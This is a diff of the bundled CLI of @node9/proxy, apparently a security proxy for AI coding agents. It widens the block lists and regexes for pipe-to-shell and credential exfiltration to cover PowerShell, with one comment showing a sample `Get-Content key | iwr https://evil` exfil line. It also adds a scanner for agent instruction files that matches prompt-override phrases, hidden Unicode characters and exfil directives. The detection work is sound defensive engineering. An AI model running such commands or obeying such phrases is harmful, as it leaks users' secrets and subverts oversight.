@node9/proxy 2.20.0 → 2.22.0

package/dist/cli.mjs

@@ -4470,8 +4470,26 @@ var init_dist = __esm({
       "--subject",
       "--summary"
     ]);
-    SHELL_INTERPRETERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "fish", "dash", "ksh"]);
-    DOWNLOAD_CMDS = /* @__PURE__ */ new Set(["curl", "wget"]);
+    SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
+      "bash",
+      "sh",
+      "zsh",
+      "fish",
+      "dash",
+      "ksh",
+      "iex",
+      "invoke-expression",
+      "powershell",
+      "pwsh"
+    ]);
+    DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
+      "curl",
+      "wget",
+      "iwr",
+      "invoke-webrequest",
+      "irm",
+      "invoke-restmethod"
+    ]);
     NORMALIZE_CACHE_MAX = 5e3;
     normalizeCache = /* @__PURE__ */ new Map();
     AST_CACHE_MAX = 5e3;
@@ -4518,7 +4536,21 @@ var init_dist = __esm({
       "uniq",
       "tac",
       "nl",
-      "dd"
+      "dd",
+      // — PowerShell, absent until 2026-09-22 —
+      // Same membership test, "does it emit file contents": Get-Content/gc print
+      // the file (cat), Select-String/sls print matching lines (grep), Format-Hex
+      // dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
+      // one of these read a credential file with no verdict while its POSIX twin
+      // blocked. Lowercase on purpose: PowerShell is case-insensitive and the
+      // prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
+      "get-content",
+      "gc",
+      "select-string",
+      "sls",
+      "format-hex",
+      "import-csv",
+      "import-clixml"
     ]);
     GREP_SHAPE = {
       takesValue: /* @__PURE__ */ new Set([
@@ -5114,6 +5146,12 @@ var init_dist = __esm({
     FIND_EXEC_FLAGS = /* @__PURE__ */ new Set(["-exec", "-execdir", "-ok", "-okdir"]);
     INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
     NET_BINARIES = /* @__PURE__ */ new Set([
+      // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
+      // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
+      "iwr",
+      "invoke-webrequest",
+      "irm",
+      "invoke-restmethod",
       "curl",
       "wget",
       "scp",
@@ -5285,6 +5323,12 @@ var init_dist = __esm({
     PRIVATE_HOST_SUFFIXES = [".local", ".internal", ".localhost"];
     SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
     SINK_COMMANDS = /* @__PURE__ */ new Set([
+      // PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
+      // is `cat key | curl`, and scored nothing.
+      "iwr",
+      "invoke-webrequest",
+      "irm",
+      "invoke-restmethod",
       "curl",
       "wget",
       "nc",
@@ -5492,7 +5536,7 @@ var init_dist = __esm({
             {
               field: "command",
               op: "matches",
-              value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
+              value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
               flags: "i"
             }
           ],
@@ -6277,7 +6321,7 @@ var init_dist = __esm({
       { view: "separators-stripped", decoder: "separators", stripped: true }
     ];
     LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
-    CANONICAL_EXTRACTOR_VERSION = "canonical-v16";
+    CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
     DEDUPE_PREVIEW_LEN = 120;
     ENGINE_VERSION = "1.4.0";
   }
@@ -7747,7 +7791,11 @@ var init_config = __esm({
                 op: "matches",
                 // Anchor curl/wget as a shell command so node -e scripts testing this
                 // regex pattern don't self-match as a false positive.
-                value: "(^|&&|\\|\\||;)\\s*(curl|wget)[^|]*\\|\\s*(ba|z|da|fi|c|k)?sh",
+                // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
+                // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
+                // either list gains a name this regex does not. The PowerShell sinks
+                // carry \b so `iex` cannot match inside e.g. `iexplore`.
+                value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
                 flags: "i"
               }
             ],
@@ -11410,7 +11458,7 @@ function printInlineAskNotice() {
     )
   );
 }
-function fullPathCommand(subcommand, platform = process.platform) {
+function fullPathCommand(subcommand, platform = process.platform, home = os16.homedir()) {
   if (process.env.NODE9_TESTING === "1") return `node9 ${subcommand}`;
   const nodeExec = toForwardSlashes(process.execPath);
   const cliScript = toForwardSlashes(process.argv[1]);
@@ -11419,7 +11467,31 @@ function fullPathCommand(subcommand, platform = process.platform) {
     return isWindows ? `node9 ${subcommand}` : `"${cliScript}" ${subcommand}`;
   }
   if (isWindows) return `node "${cliScript}" ${subcommand}`;
-  return `"${nodeExec}" "${cliScript}" ${subcommand}`;
+  ensureHookShim(home, nodeExec, cliScript);
+  return `"${toForwardSlashes(hookShimPath(home))}" ${subcommand}`;
+}
+function hookShimPath(home = os16.homedir()) {
+  return path20.join(home, ".node9", "bin", "hook");
+}
+function hookShimBody(nodeExec, cliScript) {
+  return `#!/bin/sh
+# node9 hook shim \u2014 written by \`node9 init\` / \`node9 agents add\`. Do not edit.
+# Agents call this fixed path; node9 rewrites the line below on upgrade so
+# the hook command they trusted never changes (Codex keys trust to it).
+exec "${nodeExec}" "${cliScript}" "$@"
+`;
+}
+function ensureHookShim(home, nodeExec, cliScript) {
+  const shim = hookShimPath(home);
+  const body = hookShimBody(nodeExec, cliScript);
+  try {
+    if (fs19.readFileSync(shim, "utf-8") === body) return false;
+  } catch {
+  }
+  fs19.mkdirSync(path20.dirname(shim), { recursive: true });
+  fs19.writeFileSync(shim, body, { mode: 493 });
+  fs19.chmodSync(shim, 493);
+  return true;
 }
 function toForwardSlashes(p) {
   return p.replace(/\\/g, "/");
@@ -11450,8 +11522,12 @@ function isWindowsQuoteBrokenHook(command, platform = process.platform) {
   if (platform !== "win32") return false;
   return command.trimStart().startsWith('"');
 }
+function isChurnProneHookForm(command, platform = process.platform) {
+  if (!command || platform === "win32") return false;
+  return /^"[^"]+" "[^"]*cli\.js" (?:check|log|hud)\b/.test(command.trim());
+}
 function needsRewrite(command, platform = process.platform) {
-  return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform);
+  return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform) || isChurnProneHookForm(command, platform);
 }
 function readJson(filePath) {
   try {
@@ -11487,7 +11563,11 @@ function repairLegacyMcpWraps(servers) {
 }
 function isNode9Hook(cmd) {
   if (!cmd) return false;
-  return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd);
+  return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd) || // The shim form: "<home>/.node9/bin/hook" check. Without this alternative a
+  // freshly wired install reads back as "not wired" and setup appends
+  // duplicate hooks on every re-run — the same trap the quoted-binary form
+  // fell into after #185.
+  /[/\\]\.node9[/\\]bin[/\\]hook"? (?:check|log)/.test(cmd);
 }
 function teardownClaude() {
   const homeDir2 = os16.homedir();
@@ -59114,8 +59194,214 @@ function registerPostureCommand(program2) {
 import chalk33 from "chalk";
 
 // src/ci-check/fetch.ts
-var import_undici = __toESM(require_undici());
 import fs70 from "fs";
+
+// src/ci-check/instructions.ts
+var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
+var BIDI_OVERRIDE = /[‭‮]/;
+var BIDI_EMBED_ISOLATE = /[‪-‬⁦-⁩]/;
+function isZwLegitScript(cp) {
+  if (cp === void 0) return false;
+  return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
+}
+var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
+function suspiciousZeroWidth(text) {
+  let n = 0;
+  for (let i = 0; i < text.length; i++) {
+    const c = text.charCodeAt(i);
+    if (c !== 8203 && c !== 8288) continue;
+    if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
+      continue;
+    const prev = text[i - 1];
+    const next = text[i + 1];
+    if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
+    if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
+  }
+  return n;
+}
+var stripZeroWidth = (t) => t.replace(/[​⁠]/g, "");
+var INSTRUCTION_FILE_RE = /(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)\.cursorrules$|(^|\/)\.(windsurf|cline)rules$|(^|\/)copilot-instructions\.md$|(^|\/)SKILL\.md$|(^|\/)\.claude\/agents\/[^/]+\.md$|(^|\/)\.claude\/commands\/.+\.md$/;
+function skillDirsOf(paths) {
+  const dirs = /* @__PURE__ */ new Set();
+  for (const p of paths) {
+    const m = /^(.+)\/SKILL\.md$/.exec(p);
+    if (m) dirs.add(m[1]);
+  }
+  return dirs;
+}
+function isSkillSupportFile(path79, skillDirs) {
+  if (!path79.endsWith(".md") || /(^|\/)SKILL\.md$/.test(path79)) return false;
+  for (let d = path79.lastIndexOf("/"); d > 0; d = path79.lastIndexOf("/", d - 1)) {
+    if (skillDirs.has(path79.slice(0, d))) return true;
+  }
+  return false;
+}
+function isInstructionFile(path79, skillDirs) {
+  return INSTRUCTION_FILE_RE.test(path79) || isSkillSupportFile(path79, skillDirs);
+}
+var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
+var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?(?!\s+-m\s+json\.tool\b)|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
+var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
+var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b(?!\s+(the\s+|your\s+)?(users?|them|him|her|people|visitors?|customers?|readers?)\b)[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
+var HUMAN_SECTION_RE = /^#+\s.*\b((?:re-?|un)?install(ation|ers?|ing|s)?|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
+var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
+function isNegated(text, idx) {
+  return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
+}
+var EXAMPLE_FRAMING_RE = /\b(like|such as|e\.g\.|for example|examples?|including|shaped like|inert|block ?list|blocked|blocks?|patterns?|treat|labels?|strings?|phrases?|reject|flags?|detects?|matches)\b/i;
+function isQuotedExample(text, idx, len) {
+  const open = text[idx - 1];
+  const close = text[idx + len];
+  const quoted = (open === '"' || open === "'" || open === "`") && close === open;
+  return quoted && EXAMPLE_FRAMING_RE.test(text.slice(Math.max(0, idx - 120), idx));
+}
+function inHumanSection(text, idx) {
+  const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
+  return !!heading && HUMAN_SECTION_RE.test(heading);
+}
+function decodeSuspiciousBase64(text) {
+  let out = "";
+  for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
+    try {
+      const d = Buffer.from(m[0], "base64").toString("utf8");
+      if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
+    } catch {
+    }
+  }
+  return out;
+}
+function mk(rule, severity, title, signals, fix, path79) {
+  return {
+    check: "CI-6",
+    rule,
+    dimension: "instructions",
+    severity,
+    title,
+    file: path79,
+    signals,
+    fix
+  };
+}
+function analyzeInstructionFile(path79, content) {
+  const findings = [];
+  const decoded = decodeSuspiciousBase64(content);
+  if (TAG_CHARS.test(content))
+    findings.push(
+      mk(
+        "CI-6.unicode-tag-chars",
+        "critical",
+        "Unicode tag characters in an agent instruction file",
+        [
+          "contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
+        ],
+        "Remove the tag characters. Instruction files must be plain, reviewable text.",
+        path79
+      )
+    );
+  if (BIDI_OVERRIDE.test(content))
+    findings.push(
+      mk(
+        "CI-6.bidi-override",
+        "critical",
+        "Bidirectional override characters in an agent instruction file",
+        [
+          "contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
+        ],
+        "Remove the bidi override characters.",
+        path79
+      )
+    );
+  else if (BIDI_EMBED_ISOLATE.test(content))
+    findings.push(
+      mk(
+        "CI-6.bidi-formatting",
+        "advisory",
+        "Bidirectional formatting characters in an agent instruction file",
+        [
+          "contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
+        ],
+        "Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
+        path79
+      )
+    );
+  const zw = suspiciousZeroWidth(content);
+  if (zw > 0) {
+    const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
+    findings.push(
+      mk(
+        "CI-6.zero-width",
+        revealed ? "critical" : "medium",
+        "Zero-width characters splitting text in an agent instruction file",
+        [
+          revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
+        ],
+        "Remove the zero-width characters. Instruction files must be plain, reviewable text.",
+        path79
+      )
+    );
+  }
+  const ovRaw = OVERRIDE_RE.exec(content);
+  const ov = ovRaw && !isQuotedExample(content, ovRaw.index, ovRaw[0].length) ? ovRaw : null;
+  const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
+  if (ov || ovEnc) {
+    const m = ov || ovEnc;
+    findings.push(
+      mk(
+        "CI-6.prompt-override",
+        ovEnc ? "critical" : "high",
+        "Prompt-override directive in an agent instruction file",
+        [
+          `contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
+        ],
+        "Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
+        path79
+      )
+    );
+  }
+  const fo = FETCH_OBEY_RE.exec(content);
+  if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index) && !isQuotedExample(content, fo.index, fo[0].length)) {
+    findings.push(
+      mk(
+        "CI-6.fetch-and-obey",
+        "medium",
+        "Instruction directs the agent to fetch and run remote code",
+        [`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
+        "Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
+        path79
+      )
+    );
+  }
+  const sp = SECRET_PATH_RE.exec(content);
+  if (sp && !isNegated(content, sp.index)) {
+    findings.push(
+      mk(
+        "CI-6.secret-path",
+        "medium",
+        "Instruction points the agent at credential material",
+        [`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
+        "Do not reference credential files or paths in agent instructions.",
+        path79
+      )
+    );
+  }
+  const ex = EXFIL_RE.exec(content);
+  if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
+    findings.push(
+      mk(
+        "CI-6.exfil-directive",
+        "medium",
+        "Instruction directs the agent to send data to an external endpoint",
+        [`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
+        "Remove external post/upload directives from agent instructions.",
+        path79
+      )
+    );
+  }
+  return findings;
+}
+
+// src/ci-check/fetch.ts
+var import_undici = __toESM(require_undici());
 import path65 from "path";
 import { execFileSync as execFileSync2 } from "child_process";
 var cachedGhToken;
@@ -59151,13 +59437,18 @@ var SURFACE_FILES = [
   ".clinerules"
 ];
 var WORKFLOW_DIR = ".github/workflows";
-var SURFACE_BASENAME = /(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)\.cursorrules$|(^|\/)\.(windsurf|cline)rules$|(^|\/)copilot-instructions\.md$|(^|\/)\.claude\/settings(\.local)?\.json$|(^|\/)\.mcp\.json$|(^|\/)\.cursor\/mcp\.json$|(^|\/)\.codex\/config\.toml$/;
+var CONFIG_FILE_RE = /(^|\/)\.claude\/settings(\.local)?\.json$|(^|\/)\.mcp\.json$|(^|\/)\.cursor\/mcp\.json$|(^|\/)\.codex\/config\.toml$/;
+function selectSurface(paths) {
+  const skillDirs = skillDirsOf(paths);
+  const isSupport = (p) => isSkillSupportFile(p, skillDirs);
+  return paths.filter((p) => isInstructionFile(p, skillDirs) || CONFIG_FILE_RE.test(p)).sort((a, b) => Number(isSupport(a)) - Number(isSupport(b)));
+}
 var IGNORE_HARD = /(^|\/)(node_modules|vendor|\.git|\.next|\.venv|site-packages)\//;
 var IGNORE_SOFT = /(^|\/)(dist|build|out|target)\//;
 var isIgnoredDir = (relSlash) => IGNORE_HARD.test(relSlash) || IGNORE_SOFT.test(relSlash);
 var MAX_SURFACE_FILES = 200;
 function pickSurfacePaths(paths, truncated, notes) {
-  const surface = paths.filter((p) => SURFACE_BASENAME.test(p) && !IGNORE_HARD.test(p));
+  const surface = selectSurface(paths.filter((p) => !IGNORE_HARD.test(p)));
   const matched = surface.filter((p) => !IGNORE_SOFT.test(p));
   const softSkipped = surface.filter((p) => IGNORE_SOFT.test(p));
   const capped = matched.slice(0, MAX_SURFACE_FILES);
@@ -59329,11 +59620,11 @@ function readLocalTree(dir) {
     add(rel);
   };
   for (const p of SURFACE_FILES) collect(p);
-  const matches = [];
+  const all = [];
   const MAX_DIRS = 5e3;
   let dirsVisited = 0;
   const walk = (relDir) => {
-    if (matches.length >= MAX_SURFACE_FILES || dirsVisited >= MAX_DIRS) return;
+    if (dirsVisited >= MAX_DIRS) return;
     dirsVisited++;
     let entries;
     try {
@@ -59342,22 +59633,23 @@ function readLocalTree(dir) {
       return;
     }
     for (const e of entries) {
-      if (matches.length >= MAX_SURFACE_FILES || dirsVisited >= MAX_DIRS) return;
+      if (dirsVisited >= MAX_DIRS) return;
       const rel = relDir ? `${relDir}/${e.name}` : e.name;
       if (e.isDirectory()) {
         if (isIgnoredDir(`${rel}/`)) continue;
         walk(rel);
-      } else if (e.isFile() && SURFACE_BASENAME.test(rel)) {
-        matches.push(rel);
+      } else if (e.isFile()) {
+        all.push(rel);
       }
     }
   };
   walk("");
-  if (matches.length >= MAX_SURFACE_FILES || dirsVisited >= MAX_DIRS)
+  const matches = selectSurface(all);
+  if (matches.length > MAX_SURFACE_FILES || dirsVisited >= MAX_DIRS)
     notes.push(
       `repo is large \u2014 some agent-surface files may be INCOMPLETE (capped at ${MAX_SURFACE_FILES} files / ${MAX_DIRS} dirs).`
     );
-  for (const rel of matches) collect(rel);
+  for (const rel of matches.slice(0, MAX_SURFACE_FILES)) collect(rel);
   const wfDir = path65.join(root, WORKFLOW_DIR);
   try {
     if (fs70.existsSync(wfDir)) {
@@ -59400,7 +59692,7 @@ function readGitRefTree(dir, ref) {
     if (content !== null) files.push({ path: rel, content });
   };
   for (const rel of SURFACE_FILES) add(rel);
-  const nested = all.filter((rel) => SURFACE_BASENAME.test(rel) && !isIgnoredDir(rel));
+  const nested = selectSurface(all.filter((rel) => !isIgnoredDir(rel)));
   if (nested.length > MAX_SURFACE_FILES) {
     notes.push(
       `repo is large \u2014 some agent-surface files may be INCOMPLETE (capped at ${MAX_SURFACE_FILES} files).`
@@ -60109,183 +60401,6 @@ function analyzeCodexConfig(path79, content) {
   return findings;
 }
 
-// src/ci-check/instructions.ts
-var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
-var BIDI_OVERRIDE = /[‭‮]/;
-var BIDI_EMBED_ISOLATE = /[‪-‬⁦-⁩]/;
-function isZwLegitScript(cp) {
-  if (cp === void 0) return false;
-  return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
-}
-var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
-function suspiciousZeroWidth(text) {
-  let n = 0;
-  for (let i = 0; i < text.length; i++) {
-    const c = text.charCodeAt(i);
-    if (c !== 8203 && c !== 8288) continue;
-    if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
-      continue;
-    const prev = text[i - 1];
-    const next = text[i + 1];
-    if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
-    if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
-  }
-  return n;
-}
-var stripZeroWidth = (t) => t.replace(/[​⁠]/g, "");
-var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
-var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
-var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
-var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
-var HUMAN_SECTION_RE = /^#+\s*(install|installation|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
-var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
-function isNegated(text, idx) {
-  return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
-}
-function inHumanSection(text, idx) {
-  const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
-  return !!heading && HUMAN_SECTION_RE.test(heading);
-}
-function decodeSuspiciousBase64(text) {
-  let out = "";
-  for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
-    try {
-      const d = Buffer.from(m[0], "base64").toString("utf8");
-      if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
-    } catch {
-    }
-  }
-  return out;
-}
-function mk(rule, severity, title, signals, fix, path79) {
-  return {
-    check: "CI-6",
-    rule,
-    dimension: "instructions",
-    severity,
-    title,
-    file: path79,
-    signals,
-    fix
-  };
-}
-function analyzeInstructionFile(path79, content) {
-  const findings = [];
-  const decoded = decodeSuspiciousBase64(content);
-  if (TAG_CHARS.test(content))
-    findings.push(
-      mk(
-        "CI-6.unicode-tag-chars",
-        "critical",
-        "Unicode tag characters in an agent instruction file",
-        [
-          "contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
-        ],
-        "Remove the tag characters. Instruction files must be plain, reviewable text.",
-        path79
-      )
-    );
-  if (BIDI_OVERRIDE.test(content))
-    findings.push(
-      mk(
-        "CI-6.bidi-override",
-        "critical",
-        "Bidirectional override characters in an agent instruction file",
-        [
-          "contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
-        ],
-        "Remove the bidi override characters.",
-        path79
-      )
-    );
-  else if (BIDI_EMBED_ISOLATE.test(content))
-    findings.push(
-      mk(
-        "CI-6.bidi-formatting",
-        "advisory",
-        "Bidirectional formatting characters in an agent instruction file",
-        [
-          "contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
-        ],
-        "Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
-        path79
-      )
-    );
-  const zw = suspiciousZeroWidth(content);
-  if (zw > 0) {
-    const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
-    findings.push(
-      mk(
-        "CI-6.zero-width",
-        revealed ? "critical" : "medium",
-        "Zero-width characters splitting text in an agent instruction file",
-        [
-          revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
-        ],
-        "Remove the zero-width characters. Instruction files must be plain, reviewable text.",
-        path79
-      )
-    );
-  }
-  const ov = OVERRIDE_RE.exec(content);
-  const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
-  if (ov || ovEnc) {
-    const m = ov || ovEnc;
-    findings.push(
-      mk(
-        "CI-6.prompt-override",
-        ovEnc ? "critical" : "high",
-        "Prompt-override directive in an agent instruction file",
-        [
-          `contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
-        ],
-        "Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
-        path79
-      )
-    );
-  }
-  const fo = FETCH_OBEY_RE.exec(content);
-  if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index)) {
-    findings.push(
-      mk(
-        "CI-6.fetch-and-obey",
-        "medium",
-        "Instruction directs the agent to fetch and run remote code",
-        [`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
-        "Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
-        path79
-      )
-    );
-  }
-  const sp = SECRET_PATH_RE.exec(content);
-  if (sp && !isNegated(content, sp.index)) {
-    findings.push(
-      mk(
-        "CI-6.secret-path",
-        "medium",
-        "Instruction points the agent at credential material",
-        [`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
-        "Do not reference credential files or paths in agent instructions.",
-        path79
-      )
-    );
-  }
-  const ex = EXFIL_RE.exec(content);
-  if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
-    findings.push(
-      mk(
-        "CI-6.exfil-directive",
-        "medium",
-        "Instruction directs the agent to send data to an external endpoint",
-        [`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
-        "Remove external post/upload directives from agent instructions.",
-        path79
-      )
-    );
-  }
-  return findings;
-}
-
 // src/ci-check/diff.ts
 import { createHash as createHash4 } from "crypto";
 function fingerprintOf(f) {
@@ -60372,6 +60487,7 @@ function scanTree(tree) {
   const findings = [];
   const inspected = [];
   const notes = [...tree.notes];
+  const skillDirs = skillDirsOf(tree.files.map((f) => f.path));
   for (const file of tree.files) {
     inspected.push(file.path);
     try {
@@ -60386,9 +60502,7 @@ function scanTree(tree) {
         findings.push(...analyzeMcp(file.path, file.content));
       } else if (/(^|\/)\.codex\/config\.toml$/.test(file.path)) {
         findings.push(...analyzeCodexConfig(file.path, file.content));
-      } else if (/(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)\.cursorrules$|copilot-instructions\.md$|(^|\/)\.(windsurf|cline)rules$/.test(
-        file.path
-      )) {
+      } else if (isInstructionFile(file.path, skillDirs)) {
         findings.push(...analyzeInstructionFile(file.path, file.content));
       }
     } catch (err2) {